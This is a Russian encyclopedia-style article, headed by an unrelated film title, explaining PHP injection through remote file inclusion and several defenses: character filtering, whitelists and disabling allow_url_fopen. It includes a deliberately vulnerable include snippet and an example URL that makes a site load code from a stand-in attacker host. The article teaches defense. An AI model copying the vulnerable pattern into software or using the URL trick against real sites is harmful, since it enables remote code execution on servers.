Географ глобус пропил (фильм)
- 1 year ago
- 0
- 0
PHP-инъекция ( англ. PHP injection ) — один из способов взлома веб-сайтов, работающих на PHP , заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются:
PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.
<?
...
$module = $_GET['module'];
include ($module.'.php');
...
?>
Этот
скрипт
уязвим, так как к содержимому
переменной
$module
просто прибавляется «.php» и по полученному пути подключается
файл
.
Взломщик может на своём сайте создать файл, содержащий PHP-код (
http://hackersite.com/inc.php
), и зайдя на сайт по ссылке вроде
http://mysite.com/index.php?module=http://hackersite.com/inc
выполнить любые PHP-команды.
Существует несколько способов защиты от такой атаки:
$module
посторонние символы:
<?
...
$module = $_GET['module'];
if (strpbrk($module, '.?/:')) die('Blocked');
include $module. '.php';
...
?>
$module
присвоено одно из допустимых значений:
<?
...
$module = $_GET['module'];
$arr = array('main', 'about', 'links', 'forum');
if (!in_array($module,$arr)) $module = $arr[0];
include $module . '.php';
...
?>
Этот способ является более эффективным, красивым и аккуратным.
<?
...
$module = $_GET['module'];
if ($module == 'main') include 'main.php';
if ($module == 'about') include 'about.php';
if ($module == 'links') include 'links.php';
if ($module == 'forum') include 'forum.php';
...
?>
<?
...
$module = $_GET['module'];
switch($module){
case 'about':
case 'links':
case 'forum':
include "{$module}.php"; break;
default: include 'main.php';
}
...
?>
Это решение аналогично решению с if, но имеет более компактную запись.
PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путём изменения значения опции
allow_url_fopen
на Off в файле конфигурации сервера
php.ini
.
Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.